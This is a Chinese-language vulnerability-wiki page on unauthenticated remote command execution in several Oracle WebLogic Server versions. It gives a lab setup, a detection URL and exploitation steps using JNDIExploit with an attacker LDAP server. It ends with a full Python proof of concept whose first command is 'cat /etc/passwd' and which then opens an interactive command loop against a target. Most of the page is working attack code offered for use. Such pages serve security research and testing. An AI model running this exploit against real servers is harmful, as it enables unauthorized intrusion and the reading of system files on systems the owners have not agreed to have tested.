免费、自由、人人可编辑的漏洞库--PwnWiki.com
,
漏洞影响
WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0
漏洞环境
git clone https://github.com/vulhub/vulhub.git cd vulhub/weblogic/CVE-2020-14882 docker-compose up -d
漏洞检测
访问
http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252f/consolejndi.portal
如果有页面未授权可访问,且在影响范围内可能存在漏洞。
漏洞利用
下载 JNDIExploit
java -jar JNDIExploit-v1.11.jar -i xxx.xxx.xxx.xxx
(xxx.xxx.xxx.xxx表示服务端IP地址);
然后配合 Weblogic未授权范围 命令执行:
/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)
注意 ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho
这里 LDAP服务器地址第三个分隔符号为 ;
POC
注意参数格式 Ldap >>> ldap://xxx.xxx.xxx;xxx:1389 中的分号 <br> 如果使用其他的利用Ldap服务请自行更改 POC关键字 <br> 此POC仅仅检验有未授权的情况 <br>
import requests import sys import re requests.packages.urllib3.disable_warnings() from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ \03334mPOC_Des: http://wiki.peiqi.tech \0330m') print('+ \03334mVersion: Weblogic 多个版本 \0330m') print('+ \03336m使用格式: python3 poc.py \0330m') print('+ \03336mUrl >>> http://xxx.xxx.xxx.xxx \0330m') print('+ \03336mLDAP >>> ldap://xxx.xxx.xxx;xxx:1389 \0330m') print('+------------------------------------------') def POC_1(target_url, ldap_url, cmd): vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url) print('\03336mo 正在请求: {}'.format(vuln_url)) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "cmd": cmd } try: response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5) if "root:" in response.text: print("\03332mo 目标{}存在漏洞 \0330m".format(target_url)) print("\03332mo 响应为:\n{} \0330m".format(response.text)) else: print("\03331mx 命令执行失败 \0330m") sys.exit(0) except Exception as e: print("\03331mx 请检查参数和Ldap服务是否正确 \0330m", e) def POC_2(target_url, ldap_url, cmd): vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url) print('\03336mo 正在请求: {}'.format(vuln_url)) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "cmd": cmd } try: response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5) print("\03332mo 响应为:\n{} \0330m".format(response)) except Exception as e: print("\03331mx 请检查参数和Ldap服务是否正确 \0330m", e) if __name__ == '__main__': title() target_url = str(input("\03335mPlease input Attack Url\nUrl >>> \0330m")) ldap_url = str(input("\03335mLdap >>> \0330m")) POC_1(target_url, ldap_url, cmd="cat /etc/passwd") while True: cmd = input("\03335mCmd >>> \0330m") if cmd == "exit": sys.exit(0) else: POC_2(target_url, ldap_url, cmd)
PWNWIK.COM==免费、自由、人人可编辑的漏洞库